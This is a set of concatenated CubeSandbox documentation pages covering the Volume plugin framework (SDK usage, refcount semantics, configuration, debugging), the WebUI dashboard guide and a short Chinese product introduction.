count and passes `refCount` into Node Hooks: | When | `refCount` | Plugin behavior | |------|------------|-----------------| | Before Attach | `0` | First sandbox on **this node**; establish backend mount | | Before Attach | `> 0` | Another sandbox on **this node** already attached; return existing `hostPath` | | After Detach | `0` | Last sandbox on **this node**; tear down shared backend mount | | After Detach | `> 0` | Other sandbox(es) on this node still attached; no-op | **When a node's local count flips 0→1 or 1→0, Cubelet notifies CubeMaster, which updates `t_cube_volume.refcount`; control-plane `DELETE /volumes` is rejected while that count is non-zero.** ```mermaid flowchart TD A["Attach(refCount)"] --> B{"refCount == 0 ?"} B -->|yes| C["First attach on this node"] B -->|no| D["Reuse hostPath on this node"] E["Detach(refCount)"] --> F{"refCount == 0 ?"} F -->|yes| G["Last detach on this node"] F -->|no| H["no-op"] ``` ### End-to-End Lifecycle ```mermaid sequenceDiagram box rgba(227,242,253,1) Cube platform participant U as User / SDK participant API as CubeAPI participant M as CubeMaster participant L as Cubelet participant VM as microVM end box rgba(255,243,224,1) Volume Plugin participant P as Controller Plugin participant N as Node Plugin end Note over U,VM: ① Create Volume (control plane) U->>API: POST /volumes {name, driver} API->>M: POST /cube/volume M->>P: Create(volumeID, name) P-->>M: stdout JSON {"token":"...","private_data":"...","error":""} M->>M: write t_cube_volume M-->>U: {volumeID, name, token} Note over U,VM: ② Create sandbox with mount (data plane) U->>API: POST /sandboxes {volumeMounts: [{name, path}]} API->>M: sandbox create + annotations M->>L: plugin-volume-sources annotation L->>N: Attach(refCount=0) N-->>L: AttachResult {hostPath, metadata, ...} L->>L: bind-mount → virtiofs L-->>M: response ext_info (node refcount 0→1) M->>M: t_cube_volume.refcount += 1 L->>VM: /workspace visible Note over U,VM: ③ Destroy sandbox (data plane) U->>API: DELETE /sandboxes/:id L->>N: Detach(refCount=0) N-->>L: ok L->>L: unmount bind L-->>M: response ext_info (node refcount 1→0) M->>M: t_cube_volume.refcount -= 1 Note over U,VM: ④ Delete Volume (control plane) U->>API: DELETE /volumes/:id API->>M: DELETE /cube/volume/:id M->>M: refcount ≠ 0 → reject delete M->>P: Destroy(volumeID) (when refcount == 0) P-->>M: ok M->>M: hard-delete DB record ``` CubeAPI forwards `volume_mounts` for plugin volumes via the `plugin-volume-mounts` annotation; CubeMaster injects them into each container's `VolumeMounts` before calling Cubelet (see `hostdir_mount.go`). *** ## SDK Usage Examples below use **Python SDK `cubesandbox` ≥ 0.6.0**; for Go see [Go SDK Usage](#go-sdk-usage). CubeAPI exposes e2b-compatible `/volumes` REST endpoints; applications should prefer the SDK over raw HTTP. ### e2b compatibility note | Layer | e2b compatible? | Notes | |-------|-----------------|-------| | CubeAPI `/volumes` REST | ✅ Yes | `POST/GET/DELETE /volumes`, `GET /volumes/{volumeID}` | | Official e2b Python SDK | ❌ No | Hardcoded to e2b.cloud; **do not use** with CubeSandbox | | `cubesandbox` Python SDK | ✅ Yes | `Volume`, `Sandbox.create(volume_mounts={path: volume})` (e2b dict) | | `cubesandbox` Go SDK (`sdk/go`) | ✅ Yes | `Client.CreateVolume / ListVolumes / GetVolume / DeleteVolume`; mounts use the explicit `CreateOptions.VolumeMounts` structs (not the e2b dict) | | Omit `driver` on create | ✅ Yes | CubeMaster uses the **first** `volume_plugins` entry | | Per-sandbox read-only attachment | ❌ No | The official e2b SDK itself has no read-only Volume mount option; Cube SDK adds `VolumeMount(volume, read_only=True)` | | Re-send `volumeMounts` when creating from a snapshot | ✅ Yes | Accepted when identical to the snapshot's mounts; omitting them also works. Changed mounts are rejected (see [Snapshot, rollback, clone, and cross-node restore](#snapshot-rollback-clone-and-cross-node-restore)) | For a full COS plugin walkthrough, see [`examples/volume/cos/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md). ### Environment Setup ```bash pip install 'cubesandbox>=0.6.0' export CUBE_API_URL=http://<cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # Required for remote access: data plane via CubeProxy, bypassing *.cube.app DNS export CUBE_PROXY_NODE_IP=<cubeproxy-node-ip> # Optional when auth is enabled # export CUBE_API_KEY=<key> ``` | Variable | Description | |----------|-------------| | `CUBE_API_URL` | CubeAPI control-plane address | | `CUBE_TEMPLATE_ID` | Template ID for sandbox creation | | `CUBE_PROXY_NODE_IP` | CubeProxy node IP; sandbox I/O after mount uses the data plane | | `CUBE_API_KEY` | Optional; maps to `X-API-Key` when auth is enabled | ### Full Lifecycle (create → mount → unmount → delete) ```python from cubesandbox import Sandbox, Volume # ① Create Volume (control plane) → live Volume instance (e2b compatible) # e2b compatible: omit driver — same as Volume.create("my-data") vol = Volume.create("my-data") # Or pick a specific plugin: # vol = Volume.create("my-data", driver="my-storage") print(vol.volume_id, vol.name, vol.token) # token from plugin; may be empty # List / get_info → VolumeInfo (plain data, not a live handle) for v in Volume.list(): print(v.volume_id, v.name) # list omits token info = Volume.get_info(vol.volume_id) # get_info includes token # Reconnect to an existing volume (e2b Volume.connect) # vol = Volume.connect(vol.volume_id) # ② Create sandbox with Volume mount (data plane: Attach) with Sandbox.create( volume_mounts={"/workspace": vol}, ) as sb: sb.files.write("/workspace/note.txt", "persisted!") print(sb.files.read("/workspace/note.txt")) # ③ Exit with / sb.kill() destroys sandbox (data plane: Detach) # ④ Delete Volume (control plane: Destroy) Volume.destroy(vol.volume_id) # returns True; False when already gone (idempotent) ``` | SDK parameter | Description | |---------------|-------------| | `Volume.create(name, driver=...)` | Returns a **Volume instance**; `name` optional; server generates UUID as `volume_id` if omitted; must match `^[a-zA-Z0-9_-]+$`, max 128 chars | | `Volume.connect(volume_id)` | Returns a **Volume instance** (e2b compatible; wraps `get_info`) | | `Volume.list()` | Returns `list[VolumeInfo]` (no token) | | `Volume.get_info(volume_id)` | Returns **VolumeInfo**; includes `token` (empty string when the plugin returns none) | | `Volume.destroy(volume_id)` | e2b-compatible delete; `True` on success, `False` on 404 (idempotent) | | `Volume.delete(...)` | Backward-compat alias for `destroy` (prefer `destroy`) | | `driver` | Optional plugin name; **e2b compatible usage omits it** — SDK sends no field, CubeMaster uses the **first** entry in `volume_plugins` | | `volume_mounts` | e2b dict `{mount_path: Volume \| volume_id \| name}` — key is path inside sandbox, value is a `Volume` instance or volume ID string; Cube SDK can additionally wrap the value with `VolumeMount(..., read_only=True)` for a read-only attachment | `driver` is stored in `t_cube_volume` and forwarded to Cubelet via annotations — `volume_plugins[].name` must match on both CubeMaster and Cubelet. ### Go SDK Usage The Go SDK (`sdk/go`) covers the same full lifecycle and uses the same environment variables as Python: ```go import ( "context" "errors" cubesandbox "github.com/tencentcloud/CubeSandbox/sdk/go" ) client := cubesandbox.NewClient(cubesandbox.NewConfigFromEnv()) ctx := context.Background() // ① Create a volume (control plane) — omitting Driver selects the first volume_plugins entry volume, err := client.CreateVolume(ctx, cubesandbox.CreateVolumeOptions{Name: "my-data"}) // List / get one volumes, err := client.ListVolumes(ctx) // no tokens volume, err = client.GetVolume(ctx, volume.VolumeID) // includes token // ② Create a sandbox with the volume mounted (data plane: Attach); ReadOnly is the Cube read-only extension sb, err := client.Create(ctx, cubesandbox.CreateOptions{ TemplateID: "base", VolumeMounts: []cubesandbox.VolumeMount{ {Name: volume.VolumeID, Path: "/workspace"}, // {Name: volume.VolumeID, Path: "/dataset", ReadOnly: true} }, }) // ③ Destroy the sandbox (data plane: Detach) err = sb.Kill(ctx) // ④ Delete the volume (control plane: Destroy) if err := client.DeleteVolume(ctx, volume.VolumeID); err != nil { switch { case errors.Is(err, cubesandbox.ErrVolumeInUse): // still mounted (HTTP 409) — destroy the sandboxes using it first case errors.Is(err, cubesandbox.ErrVolumeNotFound): // already gone — idempotent cleanup can ignore this } } ``` Differences from the Python SDK: mounts are the explicit `[]VolumeMount{Name, Path, ReadOnly}` structs (not the e2b dict mapping), and delete outcomes are distinguished with the `ErrVolumeInUse` / `ErrVolumeNotFound` sentinel errors via `errors.Is`. Name rules, the omitted-driver behavior, and token-less list results match Python. See [`sdk/go/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/go/README.md) for more examples. ### Per-sandbox access mode The e2b-compatible mapping remains the default and creates a read-write attachment. CubeSandbox extends the mapping value with `VolumeMount`, allowing each sandbox to choose its own access mode for the same persistent Volume: ```python from cubesandbox import Sandbox, Volume, VolumeMount dataset = Volume.create("shared-dataset") # This sandbox may update the Volume. writer = Sandbox.create( volume_mounts={"/dataset": dataset}, ) # The same Volume is protected from mutations in this sandbox. reader = Sandbox.create( volume_mounts={"/dataset": VolumeMount(dataset, read_only=True)}, ) ``` The official e2b SDK's Volume mount API has no read-only option; this is not a CubeSandbox compatibility limitation. Cube SDK and REST clients can opt into the Cube extension `volumeMounts[].readOnly: true`, while existing e2b-shaped requests omit `readOnly` and keep their original read-write behavior. Read-only is an **attachment property**, not a property of the Volume itself. The reader cannot create, modify, rename, or delete files through its mount, but it can observe changes made through another read-write attachment. It is not an immutable snapshot. A sandbox may currently attach a given Volume only once; mounting the same Volume twice in one sandbox remains rejected. ### Multiple Sandboxes Sharing One Volume ```python # e2b compatible: omit driver (defaults to first plugin in CubeMaster config) vol = Volume.create("shared-data") # vol = Volume.create("shared-data", driver="my-storage") sb_a = Sandbox.create(volume_mounts={"/workspace": vol}) sb_a.files.write("/workspace/shared.txt", "from A") sb_b = Sandbox.create(volume_mounts={"/workspace": vol}) print(sb_b.files.read("/workspace/shared.txt")) # from A sb_a.kill() sb_b.kill() Volume.destroy(vol.volume_id) ``` One Volume may be mounted by multiple sandboxes simultaneously; data written from one sandbox is visible to others. Destroy **all** sandboxes using the Volume before calling `Volume.destroy()` (see [RefCount](#refcount) for how the platform tracks shared usage). ### Snapshot, rollback, clone, and cross-node restore Snapshots store the stable Volume ID, container mount path, and read-only flag. They do not copy Volume data or persist runtime `private_data`. FromSnap asks Master to resolve the current Volume record and sends that driver metadata to the target Cubelet for `Attach`. Pause/Resume validates the recorded Volume IDs and reattaches from the pause package, while in-place rollback keeps the sandbox's existing external attachment. When creating a sandbox from a snapshot, `volumeMounts` may be omitted: the snapshot's recorded mounts are reattached automatically. Re-sending them, as official e2b clients do on every create, is also accepted as long as they match the snapshot exactly (same volumes, paths, and read-only flags). Any difference is rejected with HTTP 400 (`volumeMounts must match the snapshot's volume mounts`), because the snapshot's VM memory already has its mounts in place and cannot be remounted elsewhere. This produces **external-reference** behavior: * FromSnap and rollback restore VM/rootfs state, but the mounted Volume exposes its current data. * Clones continue to share the same Volume. Writes through a read-write mount are visible to the source and other clones. * A plugin Volume does not pin an otherwise cross-node-capable VM snapshot to its origin. For an S3 VM snapshot with `remote_status=ready`, the target Cubelet attempts to attach the Volume before starting the VM. * The scheduler currently checks VM compatibility, not Volume portability, topology, multi-attach support, or target driver availability. A missing Volume, unregistered target driver, or `Attach` error fails sandbox creation. Configure every eligible node with the same driver and access to the intended backend. The Volume backend and VM snapshot backend are independent. The VM snapshot package must use the S3 backend for cross-node restore; the plugin Volume may use any backend that its target-side driver can attach. Raw host mounts are different and remain pinned to their origin node. ### Common SDK Errors | Scenario | SDK exception | Typical cause | |----------|---------------|---------------| | Volume not found | `VolumeNotFoundError` (404) | Invalid ID for `Volume.get_info` / `Volume.connect` | | Unknown driver | `ApiError` (400, CubeMaster 130400) | No matching `volume_plugins` entry | | Volume still referenced | `ApiError` (409, CubeMaster 130409) | Delete while the volume is still mounted by a sandbox | | Invalid volume name | `ValueError` | Client-side validation; name fails `^[a-zA-Z0-9_-]+$` | | Mount non-existent volume | `ApiError` | Sandbox `volumeMounts[].name` was never created | | Changed mounts on snapshot restore | `ApiError` (400, CubeMaster 130400) | `volumeMounts` sent when creating from a snapshot differ from the snapshot's mounts | > **Note:** When a volume is still mounted by any sandbox, `Volume.destroy()` returns **409**. Destroy all sandboxes using the volume first, then delete. Delete does **not** automatically unmount running sandboxes. *** ## Registration and Configuration ### CubeMaster (conf.yaml) ```yaml volume_plugins: - name: <driver> type: binary binary_path: <binary_path> - name: <driver> type: rpc socket_path: /run/<driver>.sock # bare Unix path; plugin SOCKET must match ``` ### Cubelet (config.toml) ```toml [plugins."io.cubelet.internal.v1.storage"] volume_plugin_base_dir = "<volume_plugin_base_dir>" [[plugins."io.cubelet.internal.v1.storage".volume_plugins]] name = "<driver>" type = "binary" # binary | rpc binary_path = "<binary_path>" [[plugins."io.cubelet.internal.v1.storage".volume_plugins]] name = "<driver>" type = "rpc" socket_path = "/run/<driver>.sock" # same path as plugin SOCKET ``` **`driver` name must be consistent end-to-end:** `Volume.create(..., driver=...)` (or first list entry when omitted) → DB → annotations → Cubelet routes by the same `name`. CubeMaster and Cubelet **`volume_plugins[].name` must match**. **`volume_plugin_base_dir`:** every plugin `host_path` **must** be under this directory (default `/data/cube-shared/volume` when unset). Cubelet passes it to plugins as `volumeBaseDir` (rpc) / `--volume-base-dir` (binary) and rejects attach if `host_path` is outside it. > **`binary_path` / `socket_path` location:** install third-party plugins outside the cubetoolbox tree, otherwise they are reset on Cube upgrade. **`name` must be unique** within each process: no two `volume_plugins` entries with the same `name`. List order sets the default plugin when API/SDK omits `driver`. *** ## rpc Plugin Proto Definition rpc plugins implement gRPC services in [`volumeplugin.proto`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.proto). Message fields match the [Hook definitions](#hooks) above (proto uses `snake_case`). | File | Description | |------|-------------| | [`volumeplugin.proto`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.proto) | Protocol source | | [`volumeplugin.pb.go`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin.pb.go) | Generated Go messages | | [`volumeplugin_grpc.pb.go`](https://github.com/TencentCloud/CubeSandbox/blob/master/pkgs/proto/services/volumeplugin/v1/volumeplugin_grpc.pb.go) | Generated gRPC stubs | | Service | Caller | RPCs | |---------|--------|------| | `VolumeControllerService` | CubeMaster | `Create`, `Destroy` | | `VolumePluginService` | Cubelet | `Attach`, `Detach` | Regenerate after editing proto: `cd pkgs/proto && make proto`. Reference implementation: [`examples/volume/cos/rpc/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/rpc/README.md). *** ## Plugin Development Guidelines When implementing a custom Volume plugin, follow these platform rules: | # | Guideline | Description | |---|-----------|-------------| | 1 | mntns | Node Hooks mount inside **Cubelet mntns**; binary plugins inherit via fork | | 2 | Idempotent Attach | When `refCount > 0`, another sandbox on this node already attached — return existing `hostPath` | | 3 | hostPath | **Must** be under `volumeBaseDir` (recommended `<volumeBaseDir>/<driver>-<volumeID>`) | | 4 | Detach scope | Tear down host mount only (e.g. FUSE unmount); do not delete backend data | | 5 | Credentials | Keys, bucket, region, etc. managed by the **plugin** (config file, env, …); the framework does not mandate layout | | 6 | CubeMaster / Cubelet alignment | Both must register the **same `driver` names** in `volume_plugins`; Controller hooks (Create/Destroy) and Node hooks (Attach/Detach) must refer to the **same plugin** for a given Volume | | 7 | Upgrade-safe path | Install third-party plugins outside the cubetoolbox tree, otherwise they are reset on Cube upgrade | *** ## Reference Implementations The repo ships a **Tencent Cloud COS** reference plugin (binary Shell + rpc Go) with end-to-end walkthrough and dependency install: | Doc | Content | |-----|---------| | [`examples/volume/cos/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md) | Full COS walkthrough (deps, config, SDK verify) | | [`examples/volume/cos/binary/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/binary/README.md) | binary plugin script details | | [`examples/volume/cos/rpc/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/rpc/README.md) | rpc plugin build and deploy | | [`examples/volume/cos/verify_volume.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/verify_volume.py) | Python SDK verification script | | [`examples/volume/s3/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.md) | Generic S3-compatible walkthrough (Go binary with a built-in S3 client + s3fs; AWS S3, Tencent Cloud COS, MinIO, R2; runs on `arm64`) | | [`examples/volume/juicefs/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/juicefs/README.md) | JuiceFS walkthrough (POSIX file system over object storage; one file system, `--subdir` per volume; several sandboxes share a volume and see each other's writes) | Backend-specific Hook behavior, object layout, trade-offs, and troubleshooting live in those example docs — not duplicated here. *** ## Debugging and Troubleshooting ### Mount Namespace Cubelet runs in an **isolated mount namespace** via `unshare(CLONE_NEWNS)`. Implementation detail, but important for debugging: * Node Hook `hostPath` (FUSE, bind, etc.) must exist in **Cubelet mntns**; host root mntns `/proc/mounts` usually won't show them. * **binary** plugins are forked by Cubelet and inherit mntns — no `nsenter` needed. * Manual `mount` on the host for debugging often **won't** appear inside sandboxes — trigger Attach via Cubelet or enter Cubelet mntns. Inspect mounts inside Cubelet mntns: ```bash CPID=$(pgrep -f "cubelet --config" | head -1) nsenter -t "$CPID" -m -- mount | grep -E 'volume|fuse' ``` ### Manual Plugin Test (binary) Replace `/path/to/my-plugin` and `my-storage` with your plugin binary and configured `driver` name: ```bash # Simulate Controller create /path/to/my-plugin \ --op create --volume-id test-vol --name test-vol # Simulate Node attach (first mount); host_path must be under --volume-base-dir /path/to/my-plugin \ --op attach --sandbox-id sb-001 --namespace default \ --volume-id test-vol --ref-count 0 \ --volume-base-dir /data/cube-shared/volume ``` For COS-specific manual tests, see [`examples/volume/cos/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md). ### Common Issues | Symptom | Likely cause | Check | |---------|--------------|-------| | `no plugin registered for driver` | Cubelet missing `volume_plugins` | `config.toml`, restart Cubelet | | `unknown driver` | CubeMaster not configured or name mismatch | Compare `name` on both sides | | `volume not found` | `volumeMounts[].name` ≠ existing `volume_id` | Use `volume_id` from `Volume.create` (or pass the `Volume` instance in `volume_mounts`) | | FUSE OK but invisible in sandbox | Mount in host mntns, not Cubelet mntns | Let Cubelet fork the plugin | | Detach leak after attach | Unmount shared FUSE when `ref_count > 0` | Follow RefCount semantics | ## Compatibility Notes Volume requires **both** CubeMaster and Cubelet to be on a release that supports the Volume Plugin. During a rolling upgrade: | CubeMaster | Cubelet | Volume create / delete | Sandbox `volumeMounts` | |---|---|---|---| | New | New | Supported | Supported | | New | Old (e.g. v0.5.x) | Supported | No-op (create must not fail; the volume is not mounted) | | Old (e.g. v0.5.x) | New / old | Unsupported | Unsupported; do not send `volumeMounts` — plain create is unaffected | Do not assume mounts succeed on old nodes; schedule onto an upgraded Cubelet when you need mount behavior. *** ## Known Limitations and Roadmap Platform behavior (independent of a specific plugin): | Item | Description | |------|-------------| | Delete guard | Reject delete when `t_cube_volume.refcount ≠ 0`; no auto-detach of running sandboxes | | Refcount via responses | Count updates on sandbox create/destroy **responses**; lost responses may cause brief drift | | FUSE POSIX semantics | Depends on backend/mount implementation (hard links, atomic rename, etc.) | *** ## Source Index | Module | Path | Description | |--------|------|-------------| | Node interface | `Cubelet/plugins/volume/interface.go` | `VolumePlugin` abstraction | | Node request types | `Cubelet/plugins/volume/context.go` | `AttachRequest` / `DetachRequest` | | Controller interface | `CubeMaster/pkg/volume/plugin/plugin.go` | `ControllerPlugin` abstraction | | Node binary driver | `Cubelet/plugins/volume/binary/driver.go` | Hook → CLI mapping | | Node rpc driver | `Cubelet/plugins/volume/rpc/driver.go` | Hook → gRPC client | | Controller binary | `CubeMaster/pkg/volume/plugin/binary/driver.go` | Hook → CLI mapping | | Controller rpc | `CubeMaster/pkg/volume/plugin/rpc/driver.go` | Hook → gRPC mapping | | Cross-node refcount | `CubeMaster/pkg/volume/refcount/refcount.go` | Parse ext\_info; update `t_cube_volume.refcount` | | Volume DB model | `CubeMaster/pkg/base/db/models/volume.go` | `VolumeRecord` (includes `refcount`) | | Plugin volume mount injection | `CubeMaster/pkg/service/sandbox/hostdir_mount.go` | `injectPluginVolumeMounts` from `plugin-volume-mounts` annotation | | Node mount logic | `Cubelet/storage/pluginvolume.go` | bind-mount + virtiofs; node-level refcount transitions | | Proto | `pkgs/proto/services/volumeplugin/v1/volumeplugin.proto` | rpc protocol | | Generated Go | `pkgs/proto/services/volumeplugin/v1/volumeplugin*.pb.go` | Messages / gRPC stubs | | COS reference (binary) | `examples/volume/cos/binary/cube-volume-cos.sh` | Example binary plugin | | COS reference (rpc) | `examples/volume/cos/rpc/cmd/cube-volume-cos-rpc` | Example rpc plugin | --- --- url: https://cubesandbox.com/guide/webui.md --- # WebUI Dashboard The Cube Sandbox **Dashboard** is a built-in web console that lets you see what's running, manage sandboxes, build templates, and inspect cluster health — all from your browser, no CLI required. > ⏱ Takes ~3 minutes to read. After that you can drive a cluster from a laptop. ## 1. Where do I open it? The Dashboard is a static frontend served by an nginx container on the **control node**. | Scenario | URL | Notes | | --- | --- | --- | | One-click / multi-node deploy | `http://<control-node-ip>:12088` | Default port, change via `WEB_UI_HOST_PORT` | | Bare-metal deploy | `http://<server-ip>:12088` | Same port | | Local development | `http://localhost:5173` | Vite dev server, proxies `/cubeapi` to `127.0.0.1:3000` | ::: tip Port 12088 vs CubeOps :3010 Port `12088` is the human-facing Dashboard (nginx). Behind it, **CubeOps** (the ops/admin service) listens on `:3010`. The Dashboard talks to CubeOps under two same-origin prefixes: * `/opsapi/*` → CubeOps `/api/*` (admin endpoints, **restricted to localhost and Docker bridge networks**) * `/cubeapi/v1/*` → CubeOps `/api/v1/sdk/*` (E2B-compatible SDK endpoints, JWT-authenticated, public) You only ever need to open `12088` from your browser. Do **not** expose `:3010` directly to the public internet. ::: If you don't know your control-node IP, run `ip -4 addr` on the server, or check `http://<hostname>:12088` on the same LAN. ## 2. The sidebar at a glance Everything lives behind the 11 icons in the left rail. Hover any icon to see its name. | # | Icon | Page | What it's for | | --- | --- | --- | --- | | 1 | 📊 | **Overview** | Cluster KPIs: running sandboxes, CPU/memory usage, healthy nodes | | 2 | 📦 | **Sandboxes** | Live list of every micro-VM, with pause / resume / kill actions | | 3 | 🧩 | **Templates** | Catalog of reusable sandbox snapshots; create new ones from OCI images | | 4 | 🖥️ | **Nodes** | Fleet health: per-host CPU, memory, slot capacity | | 5 | 🧬 | **Versions** | Component version matrix across nodes (kernel, agent, guest image) | | 6 | 📦 | **Warehouse** | Import one-click packages; nodes download a missing bound version on create/restore | | 7 | 🌐 | **Network** | API gateway config and per-node rate limits | | 8 | 📈 | **Observability** | Runtime status, sandbox health, template build overview | | 9 | 🔑 | **API Keys** | SDK API key management (JWT-based since v0.6.0) | | 10 | 🏪 | **Template Store** | Install official preset images to bootstrap templates | | 11 | 🤖 | **AgentHub** | Recruit and manage AI agent instances running on Cube Sandbox | | 12 | ⚙️ | **Settings** | Theme, language, cluster info, keyboard shortcuts | ::: tip New user? Start with **Overview**. It shows everything important in one screen and refreshes automatically. ::: ## 3. Three things you'll do first ### 3.1 Check that the cluster is healthy Open **Overview** (`/`). You should see four green-ish KPI cards: * **Running Sandboxes** — how many micro-VMs are live * **CPU / Memory Utilization** — cluster-wide pressure * **Healthy Nodes** — `N/M` nodes reporting `Ready` If any number is red, click into **Nodes** to see which host is unhappy. ### 3.2 Create a sandbox 1. Click **Sandboxes** in the left rail, then **+ New sandbox** (top-right). 2. Pick a template from the grid. Prefer a `READY` template. If it says **Needs rebuild**, open the template and click **Rebuild Template** before creating a sandbox. Other `READY` templates keep working after a node upgrade. 3. (Optional) Add a few `meta` key/value pairs as labels. 4. Click **Create**. Within a couple of seconds you'll be redirected to the sandbox's detail page, where you can watch its logs stream in real time. To stop a sandbox, go to **Sandboxes**, find the row, and click the pause / kill button on the right. ### 3.3 Log in (JWT authentication) The Dashboard uses **JWT-based authentication** (since v0.6.0, replacing the old `X-API-Key` scheme). On first visit you'll be redirected to the login page. 1. Enter your credentials. The default All-in-One account is `admin` / `admin` — **change this immediately in production** via Settings → Change Password. 2. On success you receive an access token (short-lived) and a refresh token (7 days). Tokens are stored in `localStorage` and sent as `Authorization: Bearer <jwt>`. 3. The admin endpoints (`/opsapi/*`) are **restricted to localhost and Docker bridge networks** at the nginx layer, so even with weak default credentials they are not reachable from the public internet. SDK endpoints (`/cubeapi/v1/*`) require a valid JWT. ::: details Token lifecycle * **Access token**: 15 min TTL, `token_type=access`, audience `cubeops:access`. * **Refresh token**: 7 day TTL, `token_type=refresh`, audience `cubeops:refresh`. Refresh tokens **cannot** be used as access tokens (enforced by `typ` + `aud` claims). * Login is rate-limited: 5 failed attempts per minute per IP. ::: ## 4. Keyboard shortcuts The Dashboard is keyboard-friendly. The big three: | Key | Action | | --- | --- | | `⌘ K` / `Ctrl K` | Open the **Command Palette** — type a page name to jump there | | `?` | Open **Settings → Shortcuts** (this list, but in-app) | | `R` | Refetch every visible data panel | | `Esc` | Close any open modal or the Command Palette | ## 5. Personalize it Open **Settings** in the left rail: * **Appearance → Theme** — Light, Dark, or follow your OS * **Appearance → Language** — English or 简体中文 * **Cluster** — Read-only view of the CubeAPI endpoint, sandbox domain, default instance type, rate limit, and whether auth is on The Command Palette's ⌘K input box and the topbar have quick toggles for the same. ## 6. FAQ **Why a separate Dashboard, not just curl?** Most operations (create-from-image, version matrix, node triage) are easier to discover and visualize in a UI. For automation, the Dashboard is just a thin client — every page is a call to `/cubeapi/v1/*`, which is the same E2B-compatible REST API you can hit with `curl` or the E2B SDK. **Does the Dashboard store my data?** It stores only one thing in your browser: the API key under `localStorage.cube.apiKey`. All other state (templates, sandboxes, logs) lives on the cluster. **Can I change the port?** Yes — set `WEB_UI_HOST_PORT` in `.env` before running `install.sh`. The change applies on next start of `cube-sandbox-webui.service`. **Can I disable the Dashboard?** Yes — set `WEB_UI_ENABLE=0` (or unset) in `.env`. The cluster keeps running; you just won't have the web UI. The E2B-compatible API on port `3000` is unaffected. **Is the Dashboard open source? Can I run my own build?** Yes — it lives in `web/` of the repo, built with Vite + React + TypeScript + Tailwind. See [Self-Build Deployment](./self-build-deploy.md) and the [`web/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/web/README.md) for details. ## 7. Next steps * [Quick Start](./quickstart.md) — if you haven't installed yet, get to a running Dashboard in minutes * [Service Management](./service-management.md) — how to start/stop/restart the `cube-sandbox-webui.service` container * [Component multi-version](./component-multiversion.md) — nodes keep multiple component versions; upgrading components does not break old templates or sandboxes * [Authentication](./authentication.md) — turn on API keys if you haven't * [HTTPS & Domain Resolution](./https-and-domain.md) — put the Dashboard behind TLS * [Architecture Overview](../architecture/overview.md) — understand how CubeAPI, CubeMaster, Cubelet fit together behind the scenes --- --- url: https://cubesandbox.com/index.md --- ## Get Started * [Quick Start](./guide/quickstart.md) — from zero to a running sandbox in minutes * [Self-Build Deployment](./guide/self-build-deploy.md) — build from source and deploy on a single machine * [Multi-Node Cluster](./guide/multi-node-deploy.md) — scale to multiple nodes * [Architecture Overview](./architecture/overview.md) — understand the system design and core components ## Examples For SDK examples and end-to-end scenarios, see: * [Example Projects](./guide/tutorials/examples.md) — code execution, browser automation, OpenClaw integration, RL training, and more * [Repository examples](https://github.com/tencentcloud/CubeSandbox/tree/master/examples) — full collection on GitHub --- --- url: https://cubesandbox.com/zh/guide/introduction.md --- # 简介 Cube Sandbox 是一款**专为 AI Agent 打造的基础设施** —— 可托管 Agent 进程、承载有状态服务、提供安全执行环境的生产级运行时服务。基于 RustVMM + KVM，每个沙箱都是硬件隔离的 MicroVM，冷启动不到 60ms、额外内存消耗不足 5MB。核心系统开源前已在腾讯云生产环境规模化验证。 ## 有哪些优势？ * **⚡ 亚 60ms 启动 · 超高密度**：平均冷启动 < 60ms，单实例额外内存 < 5MB —— 单节点可运行数千个 Agent。50 并发创建：平均 67ms，P95 90ms，P99 137ms。 * **🔒 硬件级隔离**：每个沙箱拥有独立的 Guest OS 内核 —— 没有共享内核的容器逃逸风险。KVM + eBPF 硬件级安全边界，可安全执行不可信的 LLM 生成代码。 * **🤖 不只是代码执行，更能托管 Agent**：沙箱可承载长期运行的 Agent 进程（如 AgentHub 托管 OpenClaw 助手）、完整服务栈（Redis、MySQL、浏览器、开发环境），或一次性代码执行 —— 均享有相同的生命周期原语。 * **🔌 无缝 E2B 迁移**：原生兼容 E2B SDK —— 只需替换一个 URL 环境变量，业务代码零改动。 * **⏸️ 自动暂停与恢复**：空闲沙箱自动快照挂起（零资源消耗），下次请求到达时透明恢复 —— 百毫秒级唤醒，调用方无感知。 * **📸 快照 · 克隆 · 回滚**：百毫秒级检查点 —— 回滚到任意保存状态或从同一检查点分叉多条探索分支。基于 CubeCoW Copy-on-Write 引擎与增量脏页追踪。 * **🌐 跨机暂停与恢复（Preview）**：配合 S3 快照后端，已暂停的沙箱可在集群内任意兼容节点恢复，也可从快照在任意节点创建新沙箱 —— 沙箱不再绑定单一节点，节点维护或故障不再困住你的工作负载。 * **🔐 凭据保险箱**：密钥永远不进入沙箱、模型上下文或日志，始终留在控制面。 * **🛡️ 出口管控**：域名白名单、未授权出口即时阻断、完整审计日志。CubeEgress 提供 L7 域名过滤、凭据注入和访问审计。 * **🖥️ Web 管理控制台**：可视化管理沙箱、模板、节点和版本矩阵。 * **📦 模板系统**：一步将 OCI 镜像转化为模板，从模板商店安装预设，多节点自动分发。 * **📦 开箱即用**：无复杂环境依赖，极简部署脚本几分钟内拉起完整环境。同时支持裸机部署、K8s集群部署、腾讯云上Terraform部署。 * **💾 Volume 框架**：CubeSandbox提供了兼容E2B标准的Volume框架，在兼容e2b标准的前提下允许用户以插件的形式自定义后端存储方案 ## CubeSandbox 对比 | 指标 | Docker 容器 | 传统虚拟机 | CubeSandbox | |---|---|---|---| | **隔离级别** | 低（共享内核 Namespace） | 高（独立内核） | **极致（独立内核 + eBPF）** | | **启动速度** | 200ms | 秒级 | **亚 60ms** | | 